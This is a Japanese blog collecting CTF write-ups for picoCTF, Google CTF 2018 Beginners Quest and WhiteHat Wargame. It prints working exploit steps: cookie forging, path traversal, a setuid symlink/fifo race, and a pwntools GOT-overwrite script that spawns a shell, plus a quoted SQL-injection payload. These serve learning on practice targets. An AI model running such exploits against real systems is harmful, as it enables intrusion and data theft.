進行中の何か

主にIT系の調べたこと。やったことをまとめます。

ディレクトリごとのクライアント証明書認証

ふと疑問に思って確認した結果を書く備忘録。

クライアント証明書での認証が ホスト単位だけではなく、ディレクトリごとに設定できると聞いて
SSLハンドシェイクって接続時に行うから
Host情報をわかってもパス情報はわからないはずなのに
どうやってパスに対応してクライアント証明書がいるいらないを判断しているんだ?
と疑問に思って調べてのですが、解説している記事が見当たらなかったので確認しました!!

疑問解決のために以下環境で確認しました。

CentOS 7.7  
Apache 2.4.6
mod_ssl 2.4.6
openssl 1.0.2k

ディレクトリごとの認証に関して結論を書くと
クライアント証明書を要求しない通常のSSL Handshake後、
クライアントからのHTTPS通信のパスを確認し認証が必要な場合は
データを応答せず、再度SSL Handshakeを要求する
でした。

詳細なシーケンスを続き以降に記載します。

続きを読む

picoCTF 2017 Level3 writeup 01

いよいよLevel3!
ひとまずどこからやろうかと思ってPointの低いやつから!

Biscuit

Webサイトを開くと「Access Denied」と表示され、後ろにはビスケットの絵が。  

ひとまずソースコードを見てみると以下の文面が。
super privateフォルダにcookies.sqliteファイルを置いてるよとのこと。
background-imageからファイルの置き場は「/private/cookies.sqlite」と推察。

<!-- Storing stuff in the same directory as your web server doesn't seem like a good idea -->
<!-- Thankfully, we use a hidden one that is super PRIVATE, to protect our cookies.sqlite file -->
<style>
body{
    background-image: url("private/image.png");
}
</style>

アクセスするとcookies.sqliteをダウンロードできた。
さっそくcookies.sqliteの中身を確認します。

# sqlite3 cookies.sqlite 
SQLite version 3.25.2 2018-09-25 19:08:10
Enter ".help" for usage hints.
sqlite> .tables
moz_cookies
sqlite> select * from moz_cookies;
1|localhost|0|0|ID|F3MAqpWxIvESiUNLHsflVd|localhost|/|1489365457|1489279130600290|1489279057101857|0|0

アクセス時にはIDという名前のCookieが付与されているので
先ほど取得した「F3MAqpWxIvESiUNLHsflVd」をCookieに入れてアクセスしなおしてみる。

# curl shell2017.picoctf.com:46787 -H "Cookie: ID=F3MAqpWxIvESiUNLHsflVd"
(省略)
<div style='background:white;margin: auto;border: 1px solid red;width: 600px; margin-top: 20%;' >
<center>
<form style="font-size: 40px; ">
our flag is: a31bbaad652b861dec1cdf7a7fe9fc9d</form>
</center>
</div>
(省略)

flagはa31bbaad652b861dec1cdf7a7fe9fc9dでした。

HashChain

hcexample.pyが与えられる。
中身は以下のようなコード
seedからmd5hashを5回実行している。なのでhashの数珠繋ぎなのでhashchainなんでしょう!

import md5 #Must be run in python 2.7.x

#code used to calculate successive hashes in a hashchain. 
seed = "seedhash"

#this will find the 5th hash in the hashchain. This would be the correct response if prompted with the 6th hash in the hashchain
hashc = seed
for _ in xrange(5):
  hashc = md5.new(hashc).hexdigest()
 
print hashc

ncしろと書いているのでやってみる。
rを押すとIDとseedが表示される。

# nc shell2017.picoctf.com 7691

*******************************************
***            FlagKeeper 1.1           ***
*  now with HASHCHAIN AUTHENTICATION! XD  *
*******************************************

Would you like to register(r) or get flag(f)?

r/f?

r
Hello new user! Your ID is now 8512 and your assigned hashchain seed is e092aed5316b555a770029849e06a7de
Please validate your new ID by sending the hash before this one in your hashchain (it will hash to the one I give you):
47d56e8d1c058b81814b2a4a99c4db3d

fを実行するとこうなる。

f
This flag only for user 8320
Please authenticate as user 8320
e68d1e9ee47fc6b7b53dacae5e263f1f
Next token?

実行するたびにIDが変わってseedも変わる。
脆弱な部分があるとするとseedの作成方法。
IDをhashした値かなと思い実行してみると推測通り!

>>> import md5
>>> print md5.new("8512").hexdigest()
e092aed5316b555a770029849e06a7de

rで表示されていた通り、
validateするには表示されたhashの前のhashを入力しろということなので
ひたすらhashchainしてtokenと一致するhashの前のhashを送信するようなプログラムを作る。

# -*- coding:utf-8 -*-
import socket;
import md5

host = "shell2017.picoctf.com"
port = 7691

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))

s.recv(1024)
# fを選択
s.send("f\n")

# IDを取得
data = s.recv(1024)
id = data.split('\n')[0].split(' ')[5]
print "id: "+id

# tokenを取得
data = s.recv(1024)
token = data.split('\n')[0]
print "token: "+token

hashc = id
# ひたすらhashchain
while(True):
    nexthash = md5.new(hashc).hexdigest()
    if nexthash== token:
        break
    else:
        hashc = nexthash
# 計算したtokenを送信
s.send(hashc+'\n')
print (s.recv(1024))

実行した結果は以下の通り。

# python hashchain.py 
id: 2623
token: faebae6b6b8fec46fa5d04efc926369e
Hello user 2623! Here's the flag: 86ae851bf8a0f8e91369e3be72754328

flagは86ae851bf8a0f8e91369e3be72754328

picoCTF 2017 Level2 writeup 04

日が空いてしまってGoogle CTFは閉じてしまったのでpicoCTF 2017を再び解いていく!

Little School Bus

ステガノグラフィー問題。
Hintにもある通り、「least significant bit」を抽出する必要がある。  

Windowsのツールを使えば一発でとけたのだけど
自身の学習も兼ねてpythonで解いていく。

気を付けないといけないのは
BMPはBGRで記録されているのでRGBで解こうとするとはまる。(1敗)

from PIL import Image
import binascii
import re

img = Image.open('littleschoolbus.bmp','r')

# width heightを取得
w,h = img.size
bits=""

for y in range(h):
    for x in range(w):
        r,g,b = img.getpixel((x,y))

# 2進数に変換してbgrの順番でlsbを抽出し追加
        bits+= str("{0:b}".format(b))[-1]
        bits+= str("{0:b}".format(g))[-1]
        bits+= str("{0:b}".format(r))[-1]

# 16進数に変換
bin=str("{0:x}".format(int(bits,2)))
# 奇数だとasciiに変換できないので奇数の場合は一つ削る
odd = len(bin)%2
hex = str(binascii.a2b_hex(bin[:-odd]))

# flagはflag{}形式なので正規表現で検索し、マッチした文字を表示
flag=re.search('(flag{.*})',hex)
print(flag.group(0))

実行した結果flagはflag{remember_kids_protect_your_headers_1ba9}

Missing Identity

Master Challengeにも挑戦してみる。

fileをダウンロードしてきて答えはzから始まる文字とのこと。
まずはfileコマンドで調査し、zipであることがわかったので
早速展開してみるがbad zipfile offsetと出ている。

# file file 
file: Zip archive data, made by v?[0x314], extract using at least v2.0, last modified Sun Aug  9 21:48:18 2009, uncompressed size 37151, method=deflate
# unzip file
Archive:  file
file #1:  bad zipfile offset (local header sig):  0
  inflating: nottheflag1.png         
  inflating: nottheflag2.png         
  inflating: nottheflag3.png         
  inflating: nottheflag4.png 

ということでhexdumpしてみるとやっぱりシグネチャがXXXXになっている。

# hexdump -C file  | more
00000000  58 58 58 58 58 58 00 00  08 00 22 44 7f 4a 7d a9  |XXXXXX...."D.J}.|
00000010  1e ff f2 90 00 00 1f 91  00 00 08 00 00 00 66 6c  |..............fl|
(省略)

なので ZIP (ファイルフォーマット) - Wikipedia で調べたシグネチャに書き換える。

# hexdump -C file  | more
00000000  50 4b 03 04 00 00 00 00  08 00 22 44 7f 4a 7d a9  |PK........"D.J}.|
00000010  1e ff f2 90 00 00 1f 91  00 00 08 00 00 00 66 6c  |..............fl|
(省略)

あとは展開するとさっきは存在しなかったflag.pngが出力される。

# unzip file
Archive:  file
  inflating: flag.png                

flagはflag.pngの画像の内容を読めばOK
flagはflag{zippidooda88938568}でした。

Google CTF 2018 Beginners Quest writeup 06

時間があいてしまいましたが、
GoogleCTF 2018 Beginners QuestのWriteupを引き続き書いていきます。

ただ、月日も経ってしまったのでwriteup等も参考にしながら解き方を学んでいきます。

ADMIN UI [pwn-re]

管理UIにログインしてパスワードを探す問題。

まずはアクセス。 1)を選択するとパスワードを聞かれ、間違えると切断される。
2)を選択するとリリースノートが見れる。
けど直接ファイル名を指定しないといけないので怪しい。

# nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
2
The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?
Version0.3
# Version 0.3
 - Rollback of version 0.2 because of random reasons
 - Blah Blah
 - Fix random reboots at 2:32 every second Friday when it's new-moon.

ただフラグがどこに保存されているかがわからない。
けど類推すれば「flag」じゃね?ということで実行するとflagが取れる。

# nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
2 
The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?
../flag 
CTF{I_luv_buggy_sOFtware}===

と類推でも解けますが、正攻法でやってみます!
まずは動いているプログラムを探す。
「/proc/self」ディレクトリ配下には
実行中のプロセスの情報が入っているのでそこから探索していきます。
今回は「/proc/self/exe」と「/proc/self/cmdline」を利用し、実行ファイル名と実行ファイルを取得します。

ファイル名の取得。
./mainという名前であることがわかります。

# nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
2
The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?
../../../../../../../proc/self/cmdline
./main=== Management Interface ===

次にファイルの取得。
GUI画面のいらない文字列を後ほど削除する。

# echo -e "2\n../../../../../../../proc/self/exe\n" | nc mngmnt-iface.ctfcompetition.com 1337 > exe
# cp exe exe.old
# vim -b exe
# diff -a exe exe.old
0a1,8
> === Management Interface ===
>  1) Service access
>  2) Read EULA/patch notes
>  3) Quit
> The following patchnotes were found:
>  - Version0.3
>  - Version0.2
> Which patchnotes should be shown?
# file exe
exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e78c178ffb1ddc700123dbda1a49a695fafd6c84, with debug_info, not stripped

あとは動かしてみながら解析。 結果から以下がわかる。

  1. 「opendir("patchnotes/") 」の呼び出しにより、「patchnotes」ディレクトリに先ほどのVersionなどの情報が置かれている。
  2. 「open("flag", 0, 010571354300) 」の呼び出しにより、 パスワードはflagというファイルなのがわかる。
# ltrace ./exe
setbuf(0x7f6045e5ba00, 0)                        = <void>
setbuf(0x7f6045e5c760, 0)                        = <void>
setbuf(0x7f6045e5c680, 0)                        = <void>
puts("=== Management Interface ==="=== Management Interface ===
)             = 29
puts(" 1) Service access" 1) Service access
)                       = 19
puts(" 2) Read EULA/patch notes" 2) Read EULA/patch notes
)                = 26
puts(" 3) Quit" 3) Quit
)                                 = 9
scanf(0x41414c72, 0x7ffcc0261414, 0x7f6045e5d8c0, 0x7f6045d8d2a42
) = 1
strncpy(0x7ffcc0261300, "patchnotes/", 268)      = 0x7ffcc0261300
opendir("patchnotes/")                           = 0
puts("No patchnotes found!"No patchnotes found!
)                     = 21
puts("Which patchnotes should be shown"...Which patchnotes should be shown?
)      = 34
scanf(0x41414d0a, 0x7ffcc026130b, 0x7f6045e5d8c0, 0x7f6045d8d2a41
) = 1
open("patchnotes/1", 0, 010571354320)            = -1
__errno_location()                               = 0x7f6045ca2e60
strerror(2)                                      = "No such file or directory"
printf("Error: %s\n", "No such file or directory"Error: No such file or directory
) = 33
fflush(0)                                        = 0
puts("=== Management Interface ==="=== Management Interface ===
)             = 29
puts(" 1) Service access" 1) Service access
)                       = 19
puts(" 2) Read EULA/patch notes" 2) Read EULA/patch notes
)                = 26
puts(" 3) Quit" 3) Quit
)                                 = 9
scanf(0x41414c72, 0x7ffcc0261414, 0x7f6045e5d8c0, 0x7f6045d8d2a41
) = 1
puts("Please enter the backdoo^Wservic"...Please enter the backdoo^Wservice password:
)      = 44
open("flag", 0, 010571354300)                    = -1
puts("Login mechanism corrupted!"Login mechanism corrupted!
)               = 27
exit(1 <no return ...>
+++ exited (status 1) +++

つまりファイル構造は以下のような形であることから ../flagと指定することでflagを取得することができる。

# tree ./
./
├── flag
├── main
└── patchnotes
    ├── Version0.2
    └── Version0.3

今回のflagはCTF{I_luv_buggy_sOFtware}

WhiteHat WarGame2.0

久々にCTFを学ぼうと思い、何かないかなと探して出会った
WhiteHat Wargame2.0をやりました!
https://wargame.whitehat.vn/

# 本当は違うものをするはずだったのに間違えた。

解いたやつのまとめ。

web01

ログインIDとPasswordを入力する画面が現れる。
適当にID : test PW : testで入力するとadminでない旨が表示される。

開発者ツールで見ているとSet-Cookieでuser=ユーザ名のCookieが払い出されている。
てなわけでCookieのユーザ名部分をadminに変えて終了!

# curl http://web001-chal03.wargame.whitehat.vn/index.php -H "Cookie: user=admin"
<html>
    <head>
        <meta http-equiv='Content-Type' content='text/html; charset=UTF-8'>
        <link rel='stylesheet' type='text/css' href='login.css'>
        <title>Wargame</title>
    </head>
    <body>

                <div class=form>
                        <center>Flag: don't_believe_cookies_at_all</center>
                        </div>
                    </body>
</html>
<!--test/test-->
# echo -n "don't_believe_cookies_at_all" | openssl sha1
(stdin)= 92b2bc2f657574ab3481ebcb6705c36079b3e6d7

よってflagはWhiteHat{92b2bc2f657574ab3481ebcb6705c36079b3e6d7}

For01

LSB.pngが与えられる。
LSBって書いてあるからLSBを抽出するとdocxファイルがゲットできるけど破損しているといわれて開けない。 そこで詰まった。

For02

accesslogから攻撃者のIPアドレスとリクエスト数をこたえる問題

アクセスログを確認したら明らかに192.168.1.1から攻撃がきていたので犯人はこのIPに確定!

192.168.1.1 - - [21/Jan/2017:21:08:39 +0700] "GET /corporation/admin/controller/search/ HTTP/1.1" 500 185 "http://192.168.1.5/corporation/" "(select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'\"+(select(0)from(select(sleep(4)))v)+\"*/"

あとは集計して完了!

# cat access.log  | awk '{print $1}' | sort | uniq -c | sort -rn
  41326 192.168.1.1
   1553 192.168.1.67
    795 192.168.1.6
    774 192.168.1.22
    615 192.168.1.3
    473 192.168.1.222
     56 192.168.1.10
     53 ::1
      5 192.168.1.123
# echo -n "192.168.1.1;41326" | openssl sha1
(stdin)= 72f88f73b399453997d84d328edb9d8333e4f0f6

flagはWhiteHat{72f88f73b399453997d84d328edb9d8333e4f0f6}

For03

Catch_me.pcapngファイルが与えられる。
さっそくWiresharkで開くとHTTP通信を行っていることがわかる。
そこで200 OKで応答しているファイルを見るといかにもな名前のFlag.zipとSercret.docxが見つかる。

Flag.zipはパスワードがかかっていたのでひとまずSercret.docxを開く。

すると白抜きで以下の文字が書かれている。

Do the best, the rest will come!
Pass: md5{G00dm4n}

md5値を計算し、その値でzipを展開。

# echo -n "G00dm4n" | md5sum
9fa874957d489cd6246bcf2569affd98  -

すると何やら悟空の画像が入っているのみ。
青い空を見上げればいつもそこに白い猫というツールに突っ込むと
jpgのファイルの最後に文字列が余分に追加されていることを確認。
The flag is : Simple_Network_Forensic

あとはSHA-1計算して

# echo -n "Simple_Network_Forensic" | openssl sha1
(stdin)= 5fa814b2e92ea59d24e60b2728c5485e511b1147

flagはWhiteHat{5fa814b2e92ea59d24e60b2728c5485e511b1147}

For06

CTF.pcapngというファイルが入っている。
今回もHTTP通信を行っており、シナリオ的にも何か重要なファイルをアップロードしたとのこと。
なのでPOST通信したファイルの内容を取得。

CTF.pngとHint.pngが手に入る。 Hint.pngを見るとステガノグラフィーと記載されている。

なのでCTF.pngを先ほどのツールに突っ込むとrarファイルが隠されているのがわかる。 けどパスワードがわからない。。。
ほかにパスワードのやり取りをしていなさそうだしヒントもない!

CTF.pngをみると「one2 three4 five6」とあり、
もしやと思って打った「244466666」が正解でした。
# john the ripperも試していたけどこっちが先にとけた

中に入っていたF1Ag.txtの内容はCTF{F043n51c_1n51d3_P1ctu43} これがflagだと思ったのだけど「_」は通らないといわれ
sha1に変換したが通らず。。。。
結局は{}の中の内容のみをsha1変換すればOKだった。

# echo -n "F043n51c_1n51d3_P1ctu43" | openssl sha1
(stdin)= f79d37831380c0964f93c56d6d047444667db3b8

flagはWhiteHat{f79d37831380c0964f93c56d6d047444667db3b8}
# この問題ってどこかのCTFからとってきたのをそのまま流用しているのかなとも思ったり。。。

Google CTF 2018 Beginners Quest writeup 05

GoogleCTF 2018 Beginners Questを引き続き解いていきます。
今回もwriteupやプログラムを見ながら解いていきます。

Holey Beep[pwn]

前問のlsしたときにあったプログラムをうまく利用して/secret_cake_recipieを読み取れ!という問題
Holey Beep自体も脆弱性の名前だそうだ。

Holey Beep (CVE-2018-0492)

ひとまず前回の問題で作成したスクリプトを利用して調査開始。
/secret_cake_recipieとholey_beepの権限を確認。 もちろん権限が足りず読めない。

> $ ls -al
total 52
drwxr-xr-x 3 user   user     4096 Jun 29 14:38 .
drwxr-xr-x 4 nobody nogroup  4096 Jun  9 16:17 ..
-rw-r--r-- 1 user   user      220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 user   user     3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 user   user      655 May 16  2017 .profile
-r-sr-xr-x 1 admin  user     9000 Jun 20 14:05 holey_beep
-r-xr-xr-x 1 user   nogroup 18224 Jun 20 14:32 todo
drwxrwxrwt 2 user   user       80 Jul 21 21:31 todos
> $ ls -al /secret_cake_recipe 
-r-------- 1 admin nogroup 1257 Jun 20 14:05 /secret_cake_recipe
> $ cat /secret_cake_recipe
cat: /secret_cake_recipe: Permission denied

バイナリを与えられているのでそれを解析していく。
が、全然わからないので今回はソースコードアセンブルした結果を見ながら
自分で組み立てることを目標としていきます。

ソースコードは以下から取得できます。
google-ctf/holey_beep.c at master · google/google-ctf · GitHub

ソースコードから今回の攻略の方法を確認します。
1つ目のポイントは「/dev/console」ではなく、「dev/console」を指定しているところ
そのため、今回読みたいファイルである「/secret_cake_recipie」の
シンボリックリンクとしてdev/consoleを作ってしまえば問題ない。

  for (int i = 1; i < argc; i++) {
    device = open("dev/console", O_RDONLY);
    if (device < 0) {
      err(1, "open(\"dev/console\", O_RDONLY)");
}

ではどこで表示をするのか?というと if (signal(SIGTERM, handle_sigterm) == SIG_ERR) {で呼び出されている handle_sigterm関数で
最後deviceから読みだしたdebug_dataを表示している部分がある。
これを利用して/sercret_cake_recipeを表示する。

void handle_sigterm(int unused) {
  if (device >= 0) {
    if (ioctl(device, KIOCSOUND, 0) < 0) {
      fprintf(stderr, "ioctl(%d, KIOCSOUND, 0) failed.", device);
      char debug_data[1024] = {0};
      read(device, debug_data, sizeof(debug_data)-1);
      fprintf(stderr, "debug_data: \"%s\"", debug_data);
    }
  }
  exit(0);
}

これだけであればプログラムを実行しながらプロセスを確認し、
kill -15 process_idでよいのだが、
ioctl(device, KIOCSOUND, period) < 0でcloseする動作が入っているため
killするタイミングが非常にシビア。

    if (ioctl(device, KIOCSOUND, period) < 0) {
      fprintf(stderr, "ioctl(%d, KIOCSOUND, %d) failed.", device, period);
      close(device);
      continue;
}

行わないといけないことは以下2点
1. プログラムが終了するのをできるだけ遅くする。
2. 良いタイミングでkillする。

  1. を実現するためには引数の数をひたすら多くする。
    つまりholey_beepの引数に$(seq 1 10000)を与える。

  2. を実現するためにmkfifoを活用する。
    mkfifoで作られた名前つきパイプにはblock機能があり、
    書き込み側と読み込み側が両方実行されないと開かれないという機能を活用。

つまりholey_beepが書き込みを行っているpipeに対して
30秒後に読み込むよ!と設定しておくとその間書き込むのを待ってくれる。

上記をもとに打ち込むコマンドは

sh
# shellを起動
cd /tmp
# 書き込み可能なディレクトリへ移動
mkdir dev
# devディレクトリの作成
ln -s /secret_cake_recipe dev/console
# シンボリックリンクの作成
mkfifo fifo
# 名前付きパイプの作成
/home/user/holey_beep $(seq 1 10000) 2> fifo &
# 1~10000の引数に対してholey_beepを実行させる。
(sleep 30; cat - )< fifo &
# その間にfifoから読み出す動作を仕掛ける
pgrep holey_beep
# holey_beepのプロセスIDを調べる
kill -15 process_id
# プロセスをkillする。
# 出力されるのを待つ。

上記を前回のToDoリストで作ったプログラムを回して実行した結果が以下になります。 レシピとともにフラグが出力されています。

octl(4, KIOCSOUND, 2005) failed.ioctl(4, KIOCSOUND, 2006) failed.ioctl(4, KIOCSOUND, 2007) failed.ioctl(4, KIOCSOUND, 2008) failed.ioctl(4, KIOCSOUND, 2009) failed.ioctl(4, KIOCSOUND, 2010) failed.ioctl(4, KIOCSOUND, 2011) failed.ioctl(4, KIOCSOUND, 2012) failed.ioctl(4, KIOCSOUND, 2013) failed.ioctl(4, KIOCSOUND, 2014) failed.ioctl(4, KIOCSOUND, 2015) failed.ioctl(4, KIOCSOUND, 2016) failed.ioctl(4, KIOCSOUND, 2017) failed.ioctl(4, KIOCSOUND, 2018) failed.ioctl(4, KIOCSOUND, 0) failed.debug_data: "== Secret recipe for the CTF{the_cake_wasnt_a_lie} cake ==

The Pittsburgh Engineer’s Cake (This is the maximum of the final Gaussian Process model, trained
on all the Pittsburgh Trials, including transfer learning.)

    Mix together flour, baking soda, and cayenne pepper. Then, mix the sugar, egg, butter (near refrigerator
temperature), and other ingredients until nearly smooth; it takes about 2 minutes in a counter-top stand mixer
with a flat paddle blade. Add the dry ingredients and mix just until the dough is uniform; do not over-mix. Spoon
out onto parchment paper (we used a #40 scoop, 24 milliliters), and bake for 14 minutes at 175C (350◦
F).

• 167 grams of all-purpose flour.
• 186 grams of dark chocolate chips.
• 1/2 tsp. baking soda.
• 1/4 tsp. salt.
• 1/4 tsp. cayenne pepper.
• 262 grams of sugar (75% medium brown, 25% white).
• 30 grams of egg.
• 132 grams of butter.
• 3/8 tsp. orange extract.
• 1/2 tsp. vanilla extract.

https://research.google.com/pubs/archive/46507.pdf

flagはCTF{the_cake_wasnt_a_lie}でした。

見事ゴールにたどり着きました!
最後はケーキ型の花火が舞い上がりました!

f:id:pom_wip:20180725231628p:plain

残りのクエストと今回の問題を正攻法でバイナリから解くのに今後チャレンジします!


参考としたサイト

google-ctf/holey_beep.c at master · google/google-ctf · GitHub

Hacking Livestream #57: Google CTF 2018 Beginners Quest - YouTube

mkfifoコマンドって使ってますか?

Google CTF 2018 Beginners Quest writeup 04

GoogleCTF2018 Beginners Questを解いていきます。

Pwnやリバースエンジニアリング初心者なので苦戦し、全く解けなかった。
そのため、今回はwriteup見ながら自身の整理のための記事。

FRIDGE TODO LIST [pwn]

バイナリとソースコードが与えられるので早速実行。
userを入力したらそのユーザのToDoリストの作成、閲覧ができる。
そしてToDoはentryとして数字をそしてtaskを入力でき、
登録したToDoをtodosというディレクトリにユーザごとに保存している様子。
flagはおそらくtodosディレクトリに既に登録されているタスクがあり、
それをどうにかして読み取ればOKだと考える。

# ./todo 
(バナー省略)
user: hoge

Hi hoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit

# ls ./todos
hoge

まずはファイルの確認
#「Partial RELRO」とあるのでGOT Overwriteかなーと思うが、
# GOT overwriteが何かまだちゃんと把握できてない。

# file todo
todo: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62100af46a33d62b1f40ab39375b25f9062180af, not stripped

# checksec --file todo
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

ソースコードを眺めていると以下のように
read_int()でintを読み込んでいるんだけど入力のチェックが
配列の領域を超えていないかだけチェックしていて負数をチェックしていない。

void print_todo() {
  printf("Which entry would you like to read? ");
  fflush(stdout);
  int idx = read_int();
  if (idx > TODO_COUNT) {
    puts(OUT_OF_BOUNDS_MESSAGE);
    return;
  }
  printf("Your TODO: %s\n", &todos[idx*TODO_LENGTH]);
}

とここがポイントなんだろうなぁと思いつつ
これ以降が詰まったのであとはwriteupを見ながら確認。


負数のチェックをしていないので
TODO_LENGTHが48なので48バイトごとにアドレスをさかのぼることができる。

IDA freeを利用してみていきます。

.got.plt:0000000000203000 ; ===========================================================================
.got.plt:0000000000203000
.got.plt:0000000000203000 ; Segment type: Pure data
.got.plt:0000000000203000 ; Segment permissions: Read/Write
.got.plt:0000000000203000 ; Segment alignment 'qword' can not be represented in assembly
.got.plt:0000000000203000 _got_plt        segment para public 'DATA' use64
.got.plt:0000000000203000                 assume cs:_got_plt
.got.plt:0000000000203000                 ;org 203000h
.got.plt:0000000000203000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000203008 qword_203008    dq 0                    ; DATA XREF: sub_8F0↑r
.got.plt:0000000000203010 qword_203010    dq 0                    ; DATA XREF: sub_8F0+6↑r
.got.plt:0000000000203018 off_203018      dq offset puts          ; DATA XREF: _puts↑r
.got.plt:0000000000203020 off_203020      dq offset write         ; DATA XREF: _write↑r
.got.plt:0000000000203028 off_203028      dq offset strlen        ; DATA XREF: _strlen↑r
.got.plt:0000000000203030 off_203030      dq offset errx          ; DATA XREF: _errx↑r
.got.plt:0000000000203038 off_203038      dq offset system        ; DATA XREF: _system↑r
.got.plt:0000000000203040 off_203040      dq offset printf        ; DATA XREF: _printf↑r
.got.plt:0000000000203048 off_203048      dq offset setlinebuf    ; DATA XREF: _setlinebuf↑r
.got.plt:0000000000203050 off_203050      dq offset strncat       ; DATA XREF: _strncat↑r
.got.plt:0000000000203058 off_203058      dq offset close         ; DATA XREF: _close↑r
.got.plt:0000000000203060 off_203060      dq offset read          ; DATA XREF: _read↑r
.got.plt:0000000000203068 off_203068      dq offset fgets         ; DATA XREF: _fgets↑r
.got.plt:0000000000203070 off_203070      dq offset err           ; DATA XREF: _err↑r
.got.plt:0000000000203078 off_203078      dq offset fflush        ; DATA XREF: _fflush↑r
.got.plt:0000000000203080 off_203080      dq offset open          ; DATA XREF: _open↑r
.got.plt:0000000000203088 off_203088      dq offset atoi          ; DATA XREF: _atoi↑r
.got.plt:0000000000203090 off_203090      dq offset __ctype_b_loc ; DATA XREF: ___ctype_b_loc↑r
.got.plt:0000000000203090 _got_plt        ends
.got.plt:0000000000203090
.data:0000000000203098 ; ===========================================================================

.bss:0000000000203140                 public todos
.bss:0000000000203140 todos           db    ? ;               ; DATA XREF: list_is_empty+1C↑o

todosのアドレスが0x203140なので以下表のようにアドレス操作が可能。

idx address
-1 0x203110
-2 0x2030e0
-3 0x2030b0
-4 0x203080 -> open
-5 0x203050 -> strncat
-6 0x203020 -> write

実行環境でのアドレスがどのように割り当てられてるかがわからない。
そのために攻略の方法としては以下指針となる。

  1. ベースとなるアドレスを取得。
  2. 何かの関数アドレスをsystemに書き換え
  3. 書き換えた関数を呼び出しsystemであとは好きなように。

1.を実施するために対象とする関数として「write」を指定する。
これはwriteがstore todoする際にのみ呼び出されているためである。
書き換える関数アドレスはメニュー呼び出しやいろいろな場面で呼び出されているatoiとする。

writeからベースアドレスまでの差とベースアドレスからsystemまでの差を
IDAを用いて確認すると
0x910と0x940にそれぞれのアドレスがあるのがわかる。

.plt:0000000000000910 ; =============== S U B R O U T I N E =======================================
.plt:0000000000000910
.plt:0000000000000910 ; Attributes: thunk
.plt:0000000000000910
.plt:0000000000000910 ; ssize_t write(int fd, const void *buf, size_t n)
.plt:0000000000000910 _write          proc near               ; CODE XREF: write_all+25↓p
.plt:0000000000000910                 jmp     cs:off_203020
.plt:0000000000000910 _write          endp
.plt:0000000000000910
.plt:0000000000000940 ; =============== S U B R O U T I N E =======================================
.plt:0000000000000940
.plt:0000000000000940 ; Attributes: thunk
.plt:0000000000000940
.plt:0000000000000940 ; int system(const char *command)
.plt:0000000000000940 _system         proc near               ; CODE XREF: init+B↓p
.plt:0000000000000940                 jmp     cs:off_203038
.plt:0000000000000940 _system         endp
.plt:0000000000000940

上記指針に基づいてpythonのプログラムを作る。
# python3で作っていたのですが、
# writeアドレスをunpackするときの8バイトにそろえる方法がわからず断念。
# bytesで0詰めする良い方法があれば教えて下さい。

# -*- coding: utf-8 -*-
from pwn import *
from struct import unpack,pack

host="fridge-todo-list.ctfcompetition.com"
port="1337"

r= remote(host,port)

# ユーザ選択
r.send("hoge\n")
# print todo
r.send("2\n")
# -6を選択してwriteのアドレス空間をゲットしにいく。
r.send("-6\n")
# Your ToDo: 部分はいらないのでそこまで読み込み
r.recvuntil("Your TODO: ")
# 改行まで読み込んで改行を削除
res = r.recvuntil("\n")[:-1]
# unpackは8バイトないとできないので0で埋める。
addr =  res.ljust(8,"\0")
write_addr = unpack("<Q",addr)[0]
# writeのアドレスからベースとsystemのアドレスを計算
base_addr = write_addr - 0x910
system_addr = base_addr + 0x940

# store todo
r.send("3\n")
# atoiを上書きするために-4を選択
r.send("-4\n")
# atoiは0x0203088なので8バイト埋めた上で送信
r.send("a"*8+pack("<Q",system_addr)+"\n")
# 後はインタラクティブに操作
r.interactive()

作ったプログラムを実行した結果が以下になります。

# python todo.py 
[+] Opening connection to fridge-todo-list.ctfcompetition.com on port 1337: Done[*] Switching to interactive mode

Hi hoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 
In which slot would you like to store the new entry? What's your TODO? 
Hi hoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> $ ls
holey_beep
todo
todos

unknown option 0

Hi hoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> $ ls todos
CountZero
hoge

unknown option 0

Hi hoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
$ cat todos/CountZero | sed -e 's/\x00//g'
Watch Hackers (again)Figure out why the fridge keeps beepingcheck check /home/user/holey_beepdebug the fridge - toilet connectivityfollow sec advice: CTF{goo.gl/cjHknW}/4513753
unknown option 0

flagはCTF{goo.gl/cjHknW}


参考としたサイト

Google CTF 2018 write-up (Beginners Quest)

CTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner's Quest - Fridge todo List / Writeup